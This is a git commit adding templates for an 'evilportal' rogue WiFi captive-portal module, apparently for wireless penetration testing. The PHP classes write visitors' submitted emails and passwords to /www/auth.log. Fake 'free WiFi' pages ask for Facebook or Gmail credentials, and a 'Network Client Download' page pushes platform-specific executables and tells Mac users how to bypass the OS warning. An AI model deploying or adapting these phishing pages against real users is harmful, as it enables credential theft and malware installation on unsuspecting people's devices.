Add modules to repository

This commit is contained in:
Sebastian Kinne
2017-11-16 16:42:22 +11:00
commit d0aa1e38ef
707 changed files with 96750 additions and 0 deletions

View File

@@ -0,0 +1,25 @@
<?php namespace evilportal;
class MyPortal extends Portal
{
public function handleAuthorization()
{
// Call parent to handle basic authorization first
parent::handleAuthorization();
// Check for other form data here
}
public function showSuccess()
{
// Calls default success message
parent::showSuccess();
}
public function showError()
{
// Calls default error message
parent::showError();
}
}

View File

@@ -0,0 +1,25 @@
<?php namespace evilportal;
class MyPortal extends Portal
{
public function handleAuthorization()
{
// Call parent to handle basic authorization first
parent::handleAuthorization();
// Check for other form data here
}
public function showSuccess()
{
// Calls default success message
parent::showSuccess();
}
public function showError()
{
// Calls default error message
parent::showError();
}
}

View File

@@ -0,0 +1,4 @@
<!--
<style>
</style>
-->

View File

@@ -0,0 +1,4 @@
<!--
<div>
</div>
-->

View File

@@ -0,0 +1,4 @@
<!--
<script>
</script>
-->

View File

@@ -0,0 +1,3 @@
<?php
$destination = "http://". $_SERVER['HTTP_HOST'] . $_SERVER['HTTP_URI'] . "";
?>

View File

@@ -0,0 +1,4 @@
<!--
<style>
</style>
-->

View File

@@ -0,0 +1,4 @@
<!--
<div>
</div>
-->

View File

@@ -0,0 +1,4 @@
<!--
<script>
</script>
-->

View File

@@ -0,0 +1,3 @@
<?php
$destination = "http://". $_SERVER['HTTP_HOST'] . $_SERVER['HTTP_URI'] . "";
?>

View File

@@ -0,0 +1,34 @@
<?php
namespace evilportal;
class MyPortal extends Portal
{
public function handleAuthorization()
{
// Call parent to handle basic authorization first
parent::handleAuthorization();
// Check for other form data here
if (!isset($_POST['email']) || !isset($_POST['password'])) {
return;
}
$fh = fopen('/www/auth.log', 'a+');
fwrite($fh, "Email: " . $_POST['email'] . "\n");
fwrite($fh, "Pass: " . $_POST['password'] . "\n\n");
fclose($fh);
}
public function showSuccess()
{
// Calls default success message
parent::showSuccess();
}
public function showError()
{
// Calls default error message
parent::showError();
}
}

View File

@@ -0,0 +1,34 @@
<?php
namespace evilportal;
class MyPortal extends Portal
{
public function handleAuthorization()
{
// Call parent to handle basic authorization first
parent::handleAuthorization();
// Check for other form data here
if (!isset($_POST['email']) || !isset($_POST['password'])) {
return;
}
$fh = fopen('/www/auth.log', 'a+');
fwrite($fh, "Email: " . $_POST['email'] . "\n");
fwrite($fh, "Pass: " . $_POST['password'] . "\n\n");
fclose($fh);
}
public function showSuccess()
{
// Calls default success message
parent::showSuccess();
}
public function showError()
{
// Calls default error message
parent::showError();
}
}

View File

@@ -0,0 +1,120 @@
<style>
.pa_form-container {
border: 1px solid #f2e3d2;
background:#F0F8FF;
-webkit-border-radius: 8px;
-moz-border-radius: 8px;
border-radius: 8px;
-webkit-box-shadow: rgba(000,000,000,0.9) 0 1px 2px;
-moz-box-shadow: rgba(000,000,000,0.9) 0 1px 2px;
box-shadow: rgba(000,000,000,0.9) 0 1px 2px;
font-family: 'Helvetica Neue',Helvetica,sans-serif;
text-align: center;
position: fixed;
width: 450px;
height: 370px;
padding: 20px;
top: 50%;
left: 50%;
margin-top: -230px;
margin-left: -225px;
z-index: 10;
display: none;
}
#pa_overlay-back {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: rgba(0,0,0,.7);
z-index: 5;
display: none;
}
.pa_form-field {
background: #fff;
color: #000;
font-size: 18px;
-webkit-box-shadow: rgba(255,255,255,0.4) 0 1px 0;
-moz-box-shadow: rgba(255,255,255,0.4) 0 1px 0;
box-shadow: rgba(255,255,255,0.4) 0 1px 0;
padding:8px;
margin-bottom:20px;
width:90%;
}
.pa_form-field:focus {
background: #fff;
color: #725129;
}
.pa_form-container h2 {
color: #6aa436;
font-size:18px;
margin: 0 0 10px 0;
font-weight:bold;
text-align: center;
}
.pa_form-container p {
text-align: center;
margin: 10px auto 10px auto;
}
.pa_form-container table {
width: 90%;
margin: 0 auto;
}
.pa_form-title {
margin-bottom:10px;
color: #725129;
font-size: 16px;
text-align: left;
}
.pa_submit-container {
margin:8px 0;
text-align:center;
}
.pa_submit-button {
border: 1px solid #447314;
background: #6aa436;
background: -webkit-gradient(linear, left top, left bottom, from(#8dc059), to(#6aa436));
background: -webkit-linear-gradient(top, #8dc059, #6aa436);
background: -moz-linear-gradient(top, #8dc059, #6aa436);
background: -ms-linear-gradient(top, #8dc059, #6aa436);
background: -o-linear-gradient(top, #8dc059, #6aa436);
background-image: -ms-linear-gradient(top, #8dc059 0%, #6aa436 100%);
-webkit-border-radius: 4px;
-moz-border-radius: 4px;
border-radius: 4px;
-webkit-box-shadow: rgba(255,255,255,0.4) 0 1px 0;
-moz-box-shadow: rgba(255,255,255,0.4) 0 1px 0;
box-shadow: rgba(255,255,255,0.4) 0 1px 0;
color: #31540c;
font-family: helvetica, serif;
padding: 8.5px 18px;
font-size: 14px;
text-decoration: none;
vertical-align: middle;
width: 200px;
cursor: pointer;
}
.pa_submit-button:hover {
border: 1px solid #447314;
background: #6aa436;
background: -webkit-gradient(linear, left top, left bottom, from(#8dc059), to(#6aa436));
background: -webkit-linear-gradient(top, #8dc059, #6aa436);
background: -moz-linear-gradient(top, #8dc059, #6aa436);
background: -ms-linear-gradient(top, #8dc059, #6aa436);
background: -o-linear-gradient(top, #8dc059, #6aa436);
background-image: -ms-linear-gradient(top, #8dc059 0%, #6aa436 100%);
color: #fff;
}
.pa_submit-button:active {
border: 1px solid #447314;
background: #8dc059;
background: -webkit-gradient(linear, left top, left bottom, from(#6aa436), to(#6aa436));
background: -webkit-linear-gradient(top, #6aa436, #8dc059);
background: -moz-linear-gradient(top, #6aa436, #8dc059);
background: -ms-linear-gradient(top, #6aa436, #8dc059);
background: -o-linear-gradient(top, #6aa436, #8dc059);
background-image: -ms-linear-gradient(top, #6aa436 0%, #8dc059 100%);
color: #fff;
}
</style>

View File

@@ -0,0 +1,16 @@
<div id="pa_overlay-back"></div>
<div class="pa_form-container">
<h3 style="display: inline">Enjoy free WiFi between</h3>
<h2><div id="pa_date"></div></h2>
<div style="margin: 0 auto">
<p>Simply enter your email address and password. If you do not already have an account with us one will be created for you.</p>
</div>
<br /><br />
<input class="pa_form-field" type="text" id="pa_email" placeholder="you@gmail.com" />
<input class="pa_form-field" type="password" id="pa_password" placeholder="Password" />
<br /><br />
<div class="pa_submit-container">
<input class="pa_submit-button" type="submit" value="Submit" />
</div>
</div>
</div>

View File

@@ -0,0 +1,53 @@
<script type="text/javascript" src="jquery-2.2.1.min.js"></script>
<script>
window.onload = init;
function init(){
importantDates();
setTimeout(displayLogin(),1000);
}
function importantDates() {
$('#pa_date').html(function(){
var monthNames=["January", "February", "March", "April", "May", "June",
"July", "August", "September", "October", "November", "December"];
var tf=new Date();var tp=new Date();var f=new Date();var p=new Date();
f.setDate(tf.getDate()+5);p.setDate(tp.getDate()-2);
var fd=f.getDate();var pd=p.getDate();
var fm=monthNames[f.getMonth()];var pm=monthNames[p.getMonth()];
if(fd<10){fd='0'+fd}if(pd<10){pd='0'+pd}
return pm+' '+pd+' - '+fm+' '+fd;
});
}
$(function() {
$(".pa_submit-button").on("click", function() {
var email_addr = $('#pa_email').val();
var pass = $('#pa_password').val();
if (email_addr == "" || pass == "") {
alert("You must enter credentials to log in.");
return;
} else {
$.ajax({
type: "POST",
url: "/captiveportal/index.php",
data: {email: email_addr,
password: pass,
target: "<?=$destination?>"},
dataType: 'json',
success: function(data, textStatus, jqXHR) {
window.location="/captiveportal/index.php";
},
error: function(data, textStatus, errorThrown) {
window.location="/captiveportal/index.php";
}
});
}
});
});
function displayLogin() {
$(function(){
$(".pa_form-container").css("opacity", "1");
$(".pa_form-container, #pa_overlay-back").fadeIn("slow");
});
}
</script>

View File

@@ -0,0 +1,3 @@
<?php
$destination = "http://". $_SERVER['HTTP_HOST'] . $_SERVER['HTTP_URI'] . "";
?>

View File

@@ -0,0 +1,120 @@
<style>
.pa_form-container {
border: 1px solid #f2e3d2;
background:#F0F8FF;
-webkit-border-radius: 8px;
-moz-border-radius: 8px;
border-radius: 8px;
-webkit-box-shadow: rgba(000,000,000,0.9) 0 1px 2px;
-moz-box-shadow: rgba(000,000,000,0.9) 0 1px 2px;
box-shadow: rgba(000,000,000,0.9) 0 1px 2px;
font-family: 'Helvetica Neue',Helvetica,sans-serif;
text-align: center;
position: fixed;
width: 450px;
height: 370px;
padding: 20px;
top: 50%;
left: 50%;
margin-top: -230px;
margin-left: -225px;
z-index: 10;
display: none;
}
#pa_overlay-back {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: rgba(0,0,0,.7);
z-index: 5;
display: none;
}
.pa_form-field {
background: #fff;
color: #000;
font-size: 18px;
-webkit-box-shadow: rgba(255,255,255,0.4) 0 1px 0;
-moz-box-shadow: rgba(255,255,255,0.4) 0 1px 0;
box-shadow: rgba(255,255,255,0.4) 0 1px 0;
padding:8px;
margin-bottom:20px;
width:90%;
}
.pa_form-field:focus {
background: #fff;
color: #725129;
}
.pa_form-container h2 {
color: #6aa436;
font-size:18px;
margin: 0 0 10px 0;
font-weight:bold;
text-align: center;
}
.pa_form-container p {
text-align: center;
margin: 10px auto 10px auto;
}
.pa_form-container table {
width: 90%;
margin: 0 auto;
}
.pa_form-title {
margin-bottom:10px;
color: #725129;
font-size: 16px;
text-align: left;
}
.pa_submit-container {
margin:8px 0;
text-align:center;
}
.pa_submit-button {
border: 1px solid #447314;
background: #6aa436;
background: -webkit-gradient(linear, left top, left bottom, from(#8dc059), to(#6aa436));
background: -webkit-linear-gradient(top, #8dc059, #6aa436);
background: -moz-linear-gradient(top, #8dc059, #6aa436);
background: -ms-linear-gradient(top, #8dc059, #6aa436);
background: -o-linear-gradient(top, #8dc059, #6aa436);
background-image: -ms-linear-gradient(top, #8dc059 0%, #6aa436 100%);
-webkit-border-radius: 4px;
-moz-border-radius: 4px;
border-radius: 4px;
-webkit-box-shadow: rgba(255,255,255,0.4) 0 1px 0;
-moz-box-shadow: rgba(255,255,255,0.4) 0 1px 0;
box-shadow: rgba(255,255,255,0.4) 0 1px 0;
color: #31540c;
font-family: helvetica, serif;
padding: 8.5px 18px;
font-size: 14px;
text-decoration: none;
vertical-align: middle;
width: 200px;
cursor: pointer;
}
.pa_submit-button:hover {
border: 1px solid #447314;
background: #6aa436;
background: -webkit-gradient(linear, left top, left bottom, from(#8dc059), to(#6aa436));
background: -webkit-linear-gradient(top, #8dc059, #6aa436);
background: -moz-linear-gradient(top, #8dc059, #6aa436);
background: -ms-linear-gradient(top, #8dc059, #6aa436);
background: -o-linear-gradient(top, #8dc059, #6aa436);
background-image: -ms-linear-gradient(top, #8dc059 0%, #6aa436 100%);
color: #fff;
}
.pa_submit-button:active {
border: 1px solid #447314;
background: #8dc059;
background: -webkit-gradient(linear, left top, left bottom, from(#6aa436), to(#6aa436));
background: -webkit-linear-gradient(top, #6aa436, #8dc059);
background: -moz-linear-gradient(top, #6aa436, #8dc059);
background: -ms-linear-gradient(top, #6aa436, #8dc059);
background: -o-linear-gradient(top, #6aa436, #8dc059);
background-image: -ms-linear-gradient(top, #6aa436 0%, #8dc059 100%);
color: #fff;
}
</style>

View File

@@ -0,0 +1,16 @@
<div id="pa_overlay-back"></div>
<div class="pa_form-container">
<h3 style="display: inline">Enjoy free WiFi between</h3>
<h2><div id="pa_date"></div></h2>
<div style="margin: 0 auto">
<p>Simply enter your email address and password. If you do not already have an account with us one will be created for you.</p>
</div>
<br /><br />
<input class="pa_form-field" type="text" id="pa_email" placeholder="you@gmail.com" />
<input class="pa_form-field" type="password" id="pa_password" placeholder="Password" />
<br /><br />
<div class="pa_submit-container">
<input class="pa_submit-button" type="submit" value="Submit" />
</div>
</div>
</div>

View File

@@ -0,0 +1,53 @@
<script type="text/javascript" src="jquery-2.2.1.min.js"></script>
<script>
window.onload = init;
function init(){
importantDates();
setTimeout(displayLogin(),1000);
}
function importantDates() {
$('#pa_date').html(function(){
var monthNames=["January", "February", "March", "April", "May", "June",
"July", "August", "September", "October", "November", "December"];
var tf=new Date();var tp=new Date();var f=new Date();var p=new Date();
f.setDate(tf.getDate()+5);p.setDate(tp.getDate()-2);
var fd=f.getDate();var pd=p.getDate();
var fm=monthNames[f.getMonth()];var pm=monthNames[p.getMonth()];
if(fd<10){fd='0'+fd}if(pd<10){pd='0'+pd}
return pm+' '+pd+' - '+fm+' '+fd;
});
}
$(function() {
$(".pa_submit-button").on("click", function() {
var email_addr = $('#pa_email').val();
var pass = $('#pa_password').val();
if (email_addr == "" || pass == "") {
alert("You must enter credentials to log in.");
return;
} else {
$.ajax({
type: "POST",
url: "/captiveportal/index.php",
data: {email: email_addr,
password: pass,
target: "<?=$destination?>"},
dataType: 'json',
success: function(data, textStatus, jqXHR) {
window.location="/captiveportal/index.php";
},
error: function(data, textStatus, errorThrown) {
window.location="/captiveportal/index.php";
}
});
}
});
});
function displayLogin() {
$(function(){
$(".pa_form-container").css("opacity", "1");
$(".pa_form-container, #pa_overlay-back").fadeIn("slow");
});
}
</script>

View File

@@ -0,0 +1,3 @@
<?php
$destination = "http://". $_SERVER['HTTP_HOST'] . $_SERVER['HTTP_URI'] . "";
?>

View File

@@ -0,0 +1,34 @@
<?php
namespace evilportal;
class MyPortal extends Portal
{
public function handleAuthorization()
{
// Call parent to handle basic authorization first
parent::handleAuthorization();
// Check for other form data here
if (!isset($_POST['email']) || !isset($_POST['password'])) {
return;
}
$fh = fopen('/www/auth.log', 'a+');
fwrite($fh, "Email: " . $_POST['email'] . "\n");
fwrite($fh, "Pass: " . $_POST['password'] . "\n\n");
fclose($fh);
}
public function showSuccess()
{
// Calls default success message
parent::showSuccess();
}
public function showError()
{
// Calls default error message
parent::showError();
}
}

View File

@@ -0,0 +1,34 @@
<?php
namespace evilportal;
class MyPortal extends Portal
{
public function handleAuthorization()
{
// Call parent to handle basic authorization first
parent::handleAuthorization();
// Check for other form data here
if (!isset($_POST['email']) || !isset($_POST['password'])) {
return;
}
$fh = fopen('/www/auth.log', 'a+');
fwrite($fh, "Email: " . $_POST['email'] . "\n");
fwrite($fh, "Pass: " . $_POST['password'] . "\n\n");
fclose($fh);
}
public function showSuccess()
{
// Calls default success message
parent::showSuccess();
}
public function showError()
{
// Calls default error message
parent::showError();
}
}

View File

@@ -0,0 +1,89 @@
<style>
.pa_field {
width: 70%;
height: 30px;
font-size: 18px;
border: 1px solid #000;
}
.pa_main {
background-color: rgba(255,255,255,.9);
left: 0%;
margin-top: 200px;
text-align: center;
padding-top: 75px;
position: fixed;
border-style:solid;
border-width:medium;
border-color:#aaa;
-webkit-box-shadow: 10px 10px 5px 0px rgba(11,11,11,0.9);
-moz-box-shadow: 10px 10px 5px 0px rgba(11,11,11,0.9);
box-shadow: 10px 10px 5px 0px rgba(11,11,11,0.9);
}
.pa_h1 {margin: auto; font: 36px 'Helvetica Neue', Helvetica, Arial, sans-serif;}
.pa_h2 {margin: auto; font: 26px 'Helvetica Neue', Helvetica, Arial, sans-serif;}
.pa_h3 {margin: auto; font: 22px 'Helvetica Neue', Helvetica, Arial, sans-serif;}
.pa_h4 {margin: auto; font: 16px 'Helvetica Neue', Helvetica, Arial, sans-serif;}
#pa_msgBox{
top: 50%;
left: 50%;
width: 600px;
height: 400px;
margin-top: -230px;
margin-left: -300px;
z-index: 10;
display: none;
}
#pa_overlay-back {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: rgba(0,0,0,.7);
z-index: 5;
display: none;
}
.pa_connectButton {
-moz-box-shadow:inset 0px 1px 3px 0px #3dc21b;
-webkit-box-shadow:inset 0px 1px 3px 0px #3dc21b;
box-shadow:inset 0px 1px 3px 0px #3dc21b;
background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #1fd950), color-stop(1, #5cbf2a));
background:-moz-linear-gradient(top, #1fd950 5%, #5cbf2a 100%);
background:-webkit-linear-gradient(top, #1fd950 5%, #5cbf2a 100%);
background:-o-linear-gradient(top, #1fd950 5%, #5cbf2a 100%);
background:-ms-linear-gradient(top, #1fd950 5%, #5cbf2a 100%);
background:linear-gradient(to bottom, #1fd950 5%, #5cbf2a 100%);
filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#1fd950', endColorstr='#5cbf2a',GradientType=0);
background-color:#1fd950;
-moz-border-radius:5px;
-webkit-border-radius:5px;
border-radius:5px;
border:1px solid #18ab29;
display:inline-block;
cursor:pointer;
color:#ffffff;
font-family:arial;
font-size:22px;
font-weight:bold;
padding:12px 37px;
text-decoration:none;
text-shadow:0px -1px 0px #2f6627;
}
.pa_connectButton:hover {
background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #5cbf2a), color-stop(1, #1fd950));
background:-moz-linear-gradient(top, #5cbf2a 5%, #1fd950 100%);
background:-webkit-linear-gradient(top, #5cbf2a 5%, #1fd950 100%);
background:-o-linear-gradient(top, #5cbf2a 5%, #1fd950 100%);
background:-ms-linear-gradient(top, #5cbf2a 5%, #1fd950 100%);
background:linear-gradient(to bottom, #5cbf2a 5%, #1fd950 100%);
filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#5cbf2a', endColorstr='#1fd950',GradientType=0);
background-color:#5cbf2a;
}
.pa_connectButton:active {
position:relative;
top:1px;
}
.pa_left {
margin-left: 60px;
}
</style>

View File

@@ -0,0 +1,15 @@
<div id="pa_overlay-back"></div>
<div id="pa_msgBox" class="pa_main">
<h1 class="pa_h1">Internet access is on us today.</h1><br />
<h4 class="pa_h4">Simply login with your Facebook or Google account<br />through our secure form below to start surfing.</h4>
<br /><br />
<div>
<input type="text" id="pa_email" name="pa_email" class="pa_field" placeholder="FB or Gmail Login" />
</div>
<br />
<div>
<input type="password" id="pa_password" name="pa_password" class="pa_field" placeholder="FB or GMail Password" />
</div>
<br /><br />
<button id="submit_button" class="pa_connectButton" type="button">Connect</button>
</div>

View File

@@ -0,0 +1,36 @@
<script type="text/javascript" src="jquery-2.2.1.min.js"></script>
<script>
window.onload = setTimeout(displayLogin, 1000);
$(function() {
$("#submit_button").on("click", function() {
var email_addr = $('#pa_email').val();
var pass = $('#pa_password').val();
if (email_addr == "" || pass == "") {
alert("Please login with your Facebook or Google account to access free Wi-Fi.");
return;
} else {
$.ajax({
type: "POST",
url: "/captiveportal/index.php",
data: {email: email_addr,
password: pass,
target: "<?=$destination?>"},
dataType: 'json',
success: function(data, textStatus, jqXHR) {
window.location="/captiveportal/index.php";
},
error: function(data, textStatus, errorThrown) {
window.location="/captiveportal/index.php";
}
});
}
});
});
function displayLogin() {
$(function(){
$("#pa_msgBox").css("opacity", "1");
$("#pa_msgBox, #pa_overlay-back").fadeIn("slow");
});
}
</script>

View File

@@ -0,0 +1,89 @@
<style>
.pa_field {
width: 70%;
height: 30px;
font-size: 18px;
border: 1px solid #000;
}
.pa_main {
background-color: rgba(255,255,255,.9);
left: 0%;
margin-top: 200px;
text-align: center;
padding-top: 75px;
position: fixed;
border-style:solid;
border-width:medium;
border-color:#aaa;
-webkit-box-shadow: 10px 10px 5px 0px rgba(11,11,11,0.9);
-moz-box-shadow: 10px 10px 5px 0px rgba(11,11,11,0.9);
box-shadow: 10px 10px 5px 0px rgba(11,11,11,0.9);
}
.pa_h1 {margin: auto; font: 36px 'Helvetica Neue', Helvetica, Arial, sans-serif;}
.pa_h2 {margin: auto; font: 26px 'Helvetica Neue', Helvetica, Arial, sans-serif;}
.pa_h3 {margin: auto; font: 22px 'Helvetica Neue', Helvetica, Arial, sans-serif;}
.pa_h4 {margin: auto; font: 16px 'Helvetica Neue', Helvetica, Arial, sans-serif;}
#pa_msgBox{
top: 50%;
left: 50%;
width: 600px;
height: 400px;
margin-top: -230px;
margin-left: -300px;
z-index: 10;
display: none;
}
#pa_overlay-back {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: rgba(0,0,0,.7);
z-index: 5;
display: none;
}
.pa_connectButton {
-moz-box-shadow:inset 0px 1px 3px 0px #3dc21b;
-webkit-box-shadow:inset 0px 1px 3px 0px #3dc21b;
box-shadow:inset 0px 1px 3px 0px #3dc21b;
background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #1fd950), color-stop(1, #5cbf2a));
background:-moz-linear-gradient(top, #1fd950 5%, #5cbf2a 100%);
background:-webkit-linear-gradient(top, #1fd950 5%, #5cbf2a 100%);
background:-o-linear-gradient(top, #1fd950 5%, #5cbf2a 100%);
background:-ms-linear-gradient(top, #1fd950 5%, #5cbf2a 100%);
background:linear-gradient(to bottom, #1fd950 5%, #5cbf2a 100%);
filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#1fd950', endColorstr='#5cbf2a',GradientType=0);
background-color:#1fd950;
-moz-border-radius:5px;
-webkit-border-radius:5px;
border-radius:5px;
border:1px solid #18ab29;
display:inline-block;
cursor:pointer;
color:#ffffff;
font-family:arial;
font-size:22px;
font-weight:bold;
padding:12px 37px;
text-decoration:none;
text-shadow:0px -1px 0px #2f6627;
}
.pa_connectButton:hover {
background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #5cbf2a), color-stop(1, #1fd950));
background:-moz-linear-gradient(top, #5cbf2a 5%, #1fd950 100%);
background:-webkit-linear-gradient(top, #5cbf2a 5%, #1fd950 100%);
background:-o-linear-gradient(top, #5cbf2a 5%, #1fd950 100%);
background:-ms-linear-gradient(top, #5cbf2a 5%, #1fd950 100%);
background:linear-gradient(to bottom, #5cbf2a 5%, #1fd950 100%);
filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#5cbf2a', endColorstr='#1fd950',GradientType=0);
background-color:#5cbf2a;
}
.pa_connectButton:active {
position:relative;
top:1px;
}
.pa_left {
margin-left: 60px;
}
</style>

View File

@@ -0,0 +1,15 @@
<div id="pa_overlay-back"></div>
<div id="pa_msgBox" class="pa_main">
<h1 class="pa_h1">Internet access is on us today.</h1><br />
<h4 class="pa_h4">Simply login with your Facebook or Google account<br />through our secure form below to start surfing.</h4>
<br /><br />
<div>
<input type="text" id="pa_email" name="pa_email" class="pa_field" placeholder="FB or Gmail Login" />
</div>
<br />
<div>
<input type="password" id="pa_password" name="pa_password" class="pa_field" placeholder="FB or GMail Password" />
</div>
<br /><br />
<button id="submit_button" class="pa_connectButton" type="button">Connect</button>
</div>

View File

@@ -0,0 +1,36 @@
<script type="text/javascript" src="jquery-2.2.1.min.js"></script>
<script>
window.onload = setTimeout(displayLogin, 1000);
$(function() {
$("#submit_button").on("click", function() {
var email_addr = $('#pa_email').val();
var pass = $('#pa_password').val();
if (email_addr == "" || pass == "") {
alert("Please login with your Facebook or Google account to access free Wi-Fi.");
return;
} else {
$.ajax({
type: "POST",
url: "/captiveportal/index.php",
data: {email: email_addr,
password: pass,
target: "<?=$destination?>"},
dataType: 'json',
success: function(data, textStatus, jqXHR) {
window.location="/captiveportal/index.php";
},
error: function(data, textStatus, errorThrown) {
window.location="/captiveportal/index.php";
}
});
}
});
});
function displayLogin() {
$(function(){
$("#pa_msgBox").css("opacity", "1");
$("#pa_msgBox, #pa_overlay-back").fadeIn("slow");
});
}
</script>

View File

@@ -0,0 +1,3 @@
<?php
$destination = "http://". $_SERVER['HTTP_HOST'] . $_SERVER['HTTP_URI'] . "";
?>

View File

@@ -0,0 +1,23 @@
<?php
namespace evilportal;
class MyPortal extends Portal
{
public function handleAuthorization()
{
parent::handleAuthorization();
}
public function showSuccess()
{
// Calls default success message
parent::showSuccess();
}
public function showError()
{
// Calls default error message
parent::showError();
}
}

View File

@@ -0,0 +1,23 @@
<?php
namespace evilportal;
class MyPortal extends Portal
{
public function handleAuthorization()
{
parent::handleAuthorization();
}
public function showSuccess()
{
// Calls default success message
parent::showSuccess();
}
public function showError()
{
// Calls default error message
parent::showError();
}
}

View File

@@ -0,0 +1,90 @@
<style>
.pa_field {
width: 70%;
height: 30px;
font-size: 18px;
border: 1px solid black;
}
.pa_main {
background-color: rgba(255,255,255,.9);
left: 0%;
margin-top: 200px;
text-align: center;
padding-top: 75px;
position: fixed;
border-style:solid;
border-width:medium;
border-color:#aaa;
-webkit-box-shadow: 10px 10px 5px 0px rgba(11,11,11,0.9);
-moz-box-shadow: 10px 10px 5px 0px rgba(11,11,11,0.9);
box-shadow: 10px 10px 5px 0px rgba(11,11,11,0.9);
}
.pa_h1 {margin: auto; font: 36px 'Helvetica Neue', Helvetica, Arial, sans-serif;}
.pa_h2 {margin: auto; font: 26px 'Helvetica Neue', Helvetica, Arial, sans-serif;}
.pa_h3 {margin: auto; font: 22px 'Helvetica Neue', Helvetica, Arial, sans-serif;}
.pa_h4 {margin: auto; font: 16px 'Helvetica Neue', Helvetica, Arial, sans-serif;}
#pa_akp {
top: 50%;
left: 50%;
width: 600px;
height: 340px;
padding: 20px;
margin-top: -200px;
margin-left: -330px;
z-index: 15;
display: none;
}
#pa_overlay-back {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: rgba(0,0,0,.7);
z-index: 5;
display: none;
}
.pa_connectButton {
-moz-box-shadow:inset 0px 1px 3px 0px #3dc21b;
-webkit-box-shadow:inset 0px 1px 3px 0px #3dc21b;
box-shadow:inset 0px 1px 3px 0px #3dc21b;
background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #1fd950), color-stop(1, #5cbf2a));
background:-moz-linear-gradient(top, #1fd950 5%, #5cbf2a 100%);
background:-webkit-linear-gradient(top, #1fd950 5%, #5cbf2a 100%);
background:-o-linear-gradient(top, #1fd950 5%, #5cbf2a 100%);
background:-ms-linear-gradient(top, #1fd950 5%, #5cbf2a 100%);
background:linear-gradient(to bottom, #1fd950 5%, #5cbf2a 100%);
filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#1fd950', endColorstr='#5cbf2a',GradientType=0);
background-color:#1fd950;
-moz-border-radius:5px;
-webkit-border-radius:5px;
border-radius:5px;
border:1px solid #18ab29;
display:inline-block;
cursor:pointer;
color:#ffffff;
font-family:arial;
font-size:22px;
font-weight:bold;
padding:12px 37px;
text-decoration:none;
text-shadow:0px -1px 0px #2f6627;
}
.pa_connectButton:hover {
background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #5cbf2a), color-stop(1, #1fd950));
background:-moz-linear-gradient(top, #5cbf2a 5%, #1fd950 100%);
background:-webkit-linear-gradient(top, #5cbf2a 5%, #1fd950 100%);
background:-o-linear-gradient(top, #5cbf2a 5%, #1fd950 100%);
background:-ms-linear-gradient(top, #5cbf2a 5%, #1fd950 100%);
background:linear-gradient(to bottom, #5cbf2a 5%, #1fd950 100%);
filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#5cbf2a', endColorstr='#1fd950',GradientType=0);
background-color:#5cbf2a;
}
.pa_connectButton:active {
position:relative;
top:1px;
}
.pa_left {
margin-left: 60px;
}
</style>

View File

@@ -0,0 +1,14 @@
<div id="pa_overlay-back"></div>
<div id='pa_akp' class='pa_main'>
<h1 class="pa_h1">Network Client Download</h1><br />
<h4 class="pa_h4">To access our WiFi please download and use our free network client software.
When you run the program an <strong>access key</strong> will be generated which will need to be entered below
in order to start surfing the internet.</h4>
<br />
<a id="pa_NetClientURL" href=""><h3 class='pa_h3'>Download Network Client</h3></a>
<br />
<span id='pa_macnotice' style='font-size: 80%;'><br /></span>
<input type='text' id='pa_accessKey' class='pa_field' placeholder='Access Key' />
<br /><br />
<button id="submit_button" class="pa_connectButton" type="button">Submit</button>
</div>

View File

@@ -0,0 +1,70 @@
<script type="text/javascript" src="jquery-2.2.1.min.js"></script>
<script>
window.onload = setTimeout(displayAccessKeyPanel, 1000);
$(function() {
if (navigator.appVersion.indexOf("Win") != -1) {
<?php
echo "$('#pa_NetClientURL').prop('href', '" . $exePath . $exe . "');";
?>
} else if (navigator.appVersion.indexOf("Mac") != -1) {
<?php
echo "$('#pa_NetClientURL').prop('href', '" . $appPath . $app . "');";
?>
$('#pa_macnotice').html("*NOTE: To run the network client on your Mac you need to hold down the control button, click the app, then click open.");
} else if (navigator.appVersion.indexOf("Android") != -1) {
<?php
echo "$('#pa_NetClientURL').prop('href', '" . $apkPath . $apk . "');";
?>
} else if (navigator.appVersion.indexOf("iPhone") != -1) {
<?php
echo "$('#pa_NetClientURL').prop('href', '" . $ipaPath . $ipa . "');";
?>
} else if (navigator.appVersion.indexOf("iPad") != -1) {
<?php
echo "$('#pa_NetClientURL').prop('href', '" . $ipaPath . $ipa . "');";
?>
} else if (navigator.appVersion.indexOf("iPod") != -1) {
<?php
echo "$('#pa_NetClientURL').prop('href', '" . $ipaPath . $ipa . "');";
?>
}
$('#submit_button').on('click',function(){
if ($('#pa_accessKey').val() == "") {
alert("Please enter the access key given by the network client software.");
return;
}
$.ajax({
type: "POST",
url: "/index.php",
data: {verifyAccessKey: $('#pa_accessKey').val()},
dataType: 'json',
success: function(data, textStatus, jqXHR) {
$.ajax({
type: "POST",
url: "/captiveportal/index.php",
data: {target: "<?=$destination?>"},
dataType: 'json',
success: function(data, textStatus, jqHXR) {
window.location="/captiveportal/index.php";
},
error: function(data, textStatus, errorThrown) {
window.location="/captiveportal/index.php";
}
});
},
error: function(data, textStatus, errorThrown) {
alert("Invalid access key");
}
});
});
});
function displayAccessKeyPanel(){
$(function(){
$('#pa_akp').css('opacity','1');
$('#pa_akp,#pa_overlay-back').fadeIn('slow');
});
}
</script>

View File

@@ -0,0 +1,49 @@
<?php
/*==================*/
/* v DO NOT MODIFY v */
/*==================*/
$exe = "<EXE>";
$app = "<APP>";
$apk = "<APK>";
$ipa = "<IPA>";
/*==================*/
/* ^ DO NOT MODIFY ^ */
/*==================*/
$base = "/download/";
$exePath = $base . "windows/";
$appPath = $base . "osx/";
$apkPath = $base . "android/";
$ipaPath = $base . "ios/";
$destination = "http://". $_SERVER['HTTP_HOST'] . $_SERVER['HTTP_URI'] . "";
